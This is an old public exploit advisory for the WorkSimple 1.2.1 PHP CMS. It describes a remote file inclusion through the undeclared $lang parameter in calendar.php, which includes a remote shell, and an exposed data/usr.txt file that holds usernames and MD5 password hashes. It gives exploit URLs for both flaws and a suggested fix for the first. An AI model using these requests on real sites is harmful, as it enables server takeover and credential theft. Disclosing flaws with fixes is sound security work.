WorkSimple 1.2.1 - Remote File Inclusion / Sensitive Data Disclosure

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[0x01] Informations:

Script         : WorkSimple 1.2.1
Download       : http://www.hotscripts.com/jump.php?listing_id=85112&jump_type=1
Vulnerability  : Remote File Inclusion / Sensitive Data Disclosure
Author         : Osirys
Contact        : osirys[at]live[dot]it
Notes          : Proud to be Italian
Greets:        : XaDoS, x0r, emgent, Jay


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[0x02] Bug:[Remote File Inclusion]
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Bugged file is: /[path]/calendar.php

[CODE]
<?PHP require 'data/conf.php'; //Include the global config ?>
	<?php include("$lang") ?>
[/CODE]

$lang variable is not declared, I thought it was declared on conf.php, but it's not.
So we can set the $lang value directly from GET.

FIX : Just declare $lang, for example in /[path]/data/conf.php


[!] EXPLOIT: /[path]/calendar.php?lang=[remote_txt_shell]

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[0x03] Bug:[Sensitive Data Disclosure]
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In this cms, when an user register himself, the cms puts informations like username and
password on a .txt file. So, just going on it, we can get sensitive data like username
and passoword. username:md5_hash


[!] EXPLOIT: /[path]/data/usr.txt

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# milw0rm.com [2008-12-15]